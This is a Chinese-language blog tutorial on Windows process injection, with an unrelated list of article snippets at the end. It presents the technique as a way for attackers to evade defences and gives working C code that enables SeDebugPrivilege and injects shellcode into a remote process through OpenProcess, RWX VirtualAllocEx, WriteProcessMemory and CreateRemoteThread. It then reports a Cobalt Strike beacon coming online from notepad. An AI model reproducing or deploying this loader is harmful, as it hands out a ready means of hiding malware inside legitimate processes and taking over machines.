你真的了解进程注入吗?

news2024/12/23 5:38:16

关注公众号回复20231110获取最新网络安全以及内网渗透等资料。

在这里插入图片描述

文章目录

    • 关注公众号回复20231110获取最新网络安全以及内网渗透等资料。
      • 进程注入
          • 进程注入是什么?
          • windows进程
          • 虚拟地址空间
          • 句柄
          • Tokens
          • 线程数
          • 特权
          • shellcode注入

进程注入

进程注入是什么?

攻击者将代码注入到进程中,以逃避基于进程的防御,并且提升相应的权限。进程注入是一种在单独的活动进程的地址空间中执行任意代码的方法。在另一个进程的上下文中运行代码可能允许访问该进程的内存、系统/网络资源以及可能提升的权限。通过进程注入执行也可能逃避安全产品的检测,因为执行被隐藏在合法进程下。

其实本质来说就是将恶意代码注入到另一个进程中。

windows进程

对于要运行的进程,它必须有一个正在运行的线程,该线程是运行代码的组件。

虚拟地址空间

私有虚拟地址空间是进程可以访问的内存,它被认为是“私有”,这意味着只有该进程可以看到该地址空间。为了共享地址空间,该内存将被映射到磁盘上并以这种方式共享。但这对于我们现在所需要的并不重要。

句柄

句柄是我们很快就会重新讨论的东西,所以现在我们只需要记住它们是代表系统资源的对象。

句柄可以是文件,线程数,流程,ETC等等。

Tokens

目前每个进程都需要一个Access Token。它负责设置进程的安全上下文,随后将继承其运行用户的所有访问控制。
在这里插入图片描述

线程数

线程是执行代码的进程的组件,由内核调度来执行代码线程负责维护CPU寄存器的状态、当前的安全上下文、进程的状态等。

线程数可以在thread中看到。
在这里插入图片描述

特权

特权其实就是让进程知道自己可以执行那些系统操作。

例如在Security中可以看到到当前进程的特权。

在这里插入图片描述
我们都知道如果想要让进程去访问另外一个进程的话,就需要开启SeDebugPrivilege特权。

例如我们注入svchost这个进程。
在这里插入图片描述
修改SeDebugPrivilege特权代码如下:

#include<Windows.h>
#include<stdio.h>

BOOL EnableSeDebugPrivilege() {
	HANDLE Token;
	LUID LuidValue = { 0 };
	TOKEN_PRIVILEGES TP = { 0 };
	BOOL Aret = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token);
	if (Aret == NULL) {
		printf("GetTokenHandle Fail\n");
		return FALSE;
	}
	BOOL Bret = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &LuidValue);
	if (Bret == NULL) {
		printf("LookupPrivilegeValue Fail\n");
		return FALSE;
	}
	TP.PrivilegeCount = 1;
	TP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	TP.Privileges[0].Luid = LuidValue;
	BOOL Cret = AdjustTokenPrivileges(Token, FALSE, &TP, 0, 0, 0);
	if (GetLastError() == ERROR_SUCCESS) {
		printf("AdjustToken Success\n");
		return TRUE;
	}
	printf("AdjustToken Fail\n");
	printf("ErrorCode: %d\n", GetLastError());
	return FALSE;
}

int main() {
	EnableSeDebugPrivilege();
	system("cmd");
	return 0;
}
shellcode注入

首先我们需要获取到远程进程的句柄,这里通过OpenProcess来实现。

HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);

这里的第一个参数就是我们需要对该进程的访问权限。

如下:

PROCESS_CREATE_THREAD:创建线程的权限。
PROCESS_VM_OPERATION:需要对远程进程的地址空间执行操作。
PROCESS_VM_WRITE:向远程进程写入内存的权限。

这里我们也可以通过PROCESS_ALL_ACCESS来进行设置。

下一个参数表示我们是否要继承其他进程的句柄,这里我们一般给定FALSE即可。

最后一个参数就是你要访问进程的PID。

如下代码:

DWORD pid = 1234;
HANDLE hp;
hp = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION,TRUE,pid);
if (!hp) {
	printf("faild success Process Handle");
}
printf("success Process Handle");

现在我们已经有进程的句柄了,我们就可以使用VirtualAllocEx申请我们的shellcode。

LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

第一个参数就是我们上面打开的那个句柄,也就是hp,第二个参数一般给定为nullptr,第三个参数就是我们shellcode的大小,第四个参数设置为MEM_COMMIT|MEM_RESERVE,最后一个参数设置为PAGE_EXECUTE_READWRITE即可。

#include<Windows.h>
#include<stdio.h>
unsigned char payload[295984] = { 0x9c };
SIZE_T payload_len = sizeof(payload);
int main() {
	DWORD pid = 1234;
	LPVOID Address;
	HANDLE hp;
	hp = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION,TRUE,pid);
	if (!hp) {
		printf("faild success Process Handle");
	}
	printf("success Process Handle");
	
	Address = VirtualAllocEx(hp,nullptr,payload_len,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
	if (!Address) {
		printf("内存分配失败");
	}
	printf("内存分配成功");
}

现在已经申请完内存了,现在只要写shellcode就可以了。

这里使用WriteProcessMemory 函数来进行编写。

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

这里的第一个参数就是我们进程的句柄,第二个参数就是我们使用VirtualAllocEx申请的地址,第三个参数就是shellcode,第四个参数表示shellcode的大小,最后一个参数就是写入字节数的输出参数。

#include<Windows.h>
#include<stdio.h>
unsigned char payload[295984] = { 0x9c };
SIZE_T payload_len = sizeof(payload);
int main() {
	DWORD pid = 1234;
	LPVOID Address;
	HANDLE hp;
	SIZE_T bytesWritten;
	hp = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION,TRUE,pid);
	if (!hp) {
		printf("faild success Process Handle");
	}
	printf("success Process Handle");
	
	Address = VirtualAllocEx(hp,nullptr,payload_len,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
	if (!Address) {
		printf("内存分配失败");
	}
	printf("内存分配成功");
	
	WriteProcessMemory(hp,Address,payload,payload_len,&bytesWritten);
	
}

紧接着就是创建线程然后执行了。

这里创建线程使用CreateRemoteThread函数即可。

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

这里的第一个参数还是跟上面一样进程的句柄,第二个参数设置为nullptr,第三个参数就是shellcode的大小,第四个参数表示指向一个应用程序定义的函数的指针,这个参数的类型为 LPTHREAD_START_ROUTINE,

完整代码:

unsigned char payload[277214] = {shellcode};
SIZE_T payload_len = sizeof(payload);
int main() {
	DWORD pid = 6624;
	LPVOID Address;
	HANDLE hp;
	SIZE_T bytesWritten;
	DWORD id = 0;
	hp = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION,TRUE,pid);
	if (!hp) {
		printf("faild success Process Handle");
	}
	printf("success Process Handle");
	
	Address = VirtualAllocEx(hp,nullptr,payload_len,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
	if (!Address) {
		printf("内存分配失败");
	}
	printf("内存分配成功");
	
	WriteProcessMemory(hp,Address,payload,payload_len,&bytesWritten);

	CreateRemoteThread(hp,nullptr,payload_len,(LPTHREAD_START_ROUTINE)Address, nullptr, GENERIC_EXECUTE, &pid);
	
	printf("id=%d", id);
	
}

这里我们注入的是notepad,这里我们观察一下进程。

这里目前是6个线程。
在这里插入图片描述
我们现在进行注入。

可以看到它加了5个线程。
在这里插入图片描述
而我们的CS已经上线了。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1307512.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python码上行动系列丛书(由北京大学出版社出版)

前言 Python码上行动系列丛书火热来袭&#x1f4a5;&#x1f4a5;&#x1f4a5; 三册在手&#xff0c;Python全掌握&#xff01;无论是初学者还是进阶玩家&#xff0c;我们都有你想要的&#xff01; 让ChatGPT带你轻松入门Python编程&#xff0c;享受编程带来的乐趣&#xff0…

git 实用命令杂记

使用解决冲突的方式合并&#xff0c;将避免简单的自动合并 git merge origin/dev --strategyresolve清理本地已经合并到 dev 的分支 git branch --merged | grep -v dev | xargs -n 1 git branch -d分支清理 Git 之删除本地无用分支_dearfulan 的博客 - CSDN 博客_git 删除本…

RV32/64 特权架构

machine mode: 运行最可信的代码;supervisor mode:为 Linux&#xff0c;FreeBSD 和 Windows 等操作系统提供支持;user mode:权限最低&#xff0c;应用程序的代码在此模式下运行&#xff1b; 这两种新模式都比user mode有着更高的权限&#xff0c;有更多权限的模式通常可以使用…

C/C++ 快乐数: 编写一个算法来判断一个数n是不是快乐数

题目&#xff1a; 编写一个算法来判断一个数n是不是快乐数。 快乐数的定义&#xff1a; 对于一个正整数&#xff0c;每一次将该数替换为它每个位置上的数字的平方和。 然后重复这个过程直到这个数变为 1&#xff0c;也可能是 无限循环 但始终变不到 1。 如果这个过…

数字中台建设指南(大数据平台)

制定数字中台战略规划&#xff1a;制定符合企业实际情况的数字中台战略规划&#xff0c;明确建设目标、重点任务和时间表。确定数字中台架构&#xff1a;根据企业业务需求和特点&#xff0c;确定数字中台的架构&#xff0c;包括技术架构、应用架构和数据架构。搭建数字中台基础…

制作Windows 11的U盘启动工具的两种方法,以及如何使用它来安装

本文介绍了如何创建Windows 11的U盘启动工具,以及如何使用它来安装Windows 11。 Windows 11 Media Creation Tool 微软网站上提供的Windows 11 Media Creation Tool可以帮助你创建Windows 11的U盘启动工具。它真的很容易使用,因为它可以引导你完成所有的步骤。 1、访问Mic…

接口测试要测试什么?怎么测?

本文主要分为两个部分&#xff1a; 第一部分&#xff1a;主要从问题出发&#xff0c;引入接口测试的相关内容并与前端测试进行简单对比&#xff0c;总结两者之前的区别与联系 第二部分&#xff1a;主要介绍为什么要做接口测试&#xff0c;并简单总结接口持续集成和接口质量评估…

textarea 网页文本框在光标处添加内容

在前端研发中我们经常需要使用脚本在文本框中插入内容。如果产品要求不能直接插入开始或者尾部&#xff0c;而是要插入到光标位置&#xff0c;此时我们就需要获取光标/光标选中的位置。 很多时候&#xff0c;我在格式化文本处需要选择选项&#xff0c;将选择的信息输入到光标位…

Nginx【通俗易懂】《中篇》

目录 1.Url重写rewrite 2.防盗链 3.静态资源压缩 4.跨域问题 1.Url重写rewrite &#x1f929;&#x1f929;&#x1f929; 1.1.rewrite书写格式 rewrite是实现URL重写的关键指令&#xff0c;根据regex&#xff08;正则表达式&#xff09;部分内容&#xff0c;重定向到rep…

Jetpack Startup 优雅完成库的初始化和方法接口简化

目录 1.Startup组件是什么2.Startup组件能做啥2.1 startup组件可以简化用户使用我们提供的库的流程。2.2 简化库提供给使用者的API接口 3.如何使用Startup组件3.1 引入依赖3.2 创建一个初始化的类继承Initializer3.3 在我们库的AndroidManifest.xml中加入配置 4.使用Startup组件…

Windows mysql5.7 执行查询/开启/测试binlog---简易记录

前言&#xff1a;基于虚拟机mysql版本为5.7&#xff0c;增量备份测试那就要用到binlog… 简述&#xff1a;二进制日志&#xff08;binnary log&#xff09;以事件形式记录了对MySQL数据库执行更改的所有操作。 binlog是记录所有数据库表结构变更&#xff08;例如CREATE、ALTER…

C++相关闲碎记录(9)

1、非修改型算法 for_each()对每个元素执行某种操作count()返回元素个数count_if()返回满足某一条件的元素的个数min_element()返回最小值元素max_element()返回最大值元素minmax_element()返回最小值和最大值元素find()查找某个数值find_if()查找满足条件的元素find_if_not()…

03 Temporal 详细介绍

前言 在后端开发中&#xff0c;大家是否有遇到如下类型的开发场景 需要处理较多的异步事件需要的外部服务可靠性较低需要记录保存某个对象的复杂状态 在以往的开发过程中&#xff0c;可能更多的直接使用数据库、定时任务、消息队列等作为基础&#xff0c;来解决上面的问题。然…

【概率方法】MCMC 之 Gibbs 采样

上一篇文章讲到&#xff0c;MCMC 中的 HM 算法&#xff0c;它可以解决拒绝采样效率低的问题&#xff0c;但是实际上&#xff0c;当维度高的时候 HM 算法还是在同时处理多个维度&#xff0c;以两个变量 x [ x , y ] \mathbf{x} [x,y] x[x,y] 来说&#xff0c;也就是同时从联合…

Nyquist Theorem(取样定理)

取样定理&#xff0c;又称为奈奎斯特定理&#xff08;Nyquist Theorem&#xff09;&#xff0c;是信号处理领域中一项至关重要的基本原理。它规定了对于连续时间信号&#xff0c;为了能够完全准确地还原出原始信号&#xff0c;即使是在离散时间下进行采样和再构建&#xff0c;都…

算法基础之树的重心

树的重心 无向图: 边没有方向 有向图:边有方向 只能单向询问 无向图建立双向的边 要求输出每种情况连通块个数最大值的最小值**(最小的最大值)** #include <cstdio>#include <cstring>#include <iostream>#include <algorithm>using namespace s…

2023-12-13 VsCode + CMake + Qt环境搭建

点击 <C 语言编程核心突破> 快速C语言入门 VsCode CMake Qt环境搭建 前言一、前期准备二、具体设置总结 前言 要解决问题: 最近研究 Qt, 使用 qtcreator, 发现在搭建 UI 界面时候很方便, 但到编码和调试就比较有问题了. 想到的思路: 用 VSCode 进行编码及调试. 其它…

003 FeedForward前馈层

一、环境 本文使用环境为&#xff1a; Windows10Python 3.9.17torch 1.13.1cu117torchvision 0.14.1cu117 二、前馈层原理 Transformer模型中的前馈层&#xff08;Feed Forward Layer&#xff09;是其关键组件之一&#xff0c;对于模型的性能起着重要作用。下面将用900字对…

postman接口测试系列: 时间戳和加密

在使用postman进行接口测试的时候&#xff0c;对于有些接口字段需要时间戳加密&#xff0c;这个时候我们就遇到2个问题&#xff0c;其一是接口中的时间戳如何得到&#xff1f;其二就是对于现在常用的md5加密操作如何在postman中使用代码实现呢&#xff1f; 下面我们以一个具体的…

【EXCEL】数据透视实例

相关链接&#xff1a;Excel数据透视表全攻略 数据样例&#xff1a; 透视结果&#xff1a;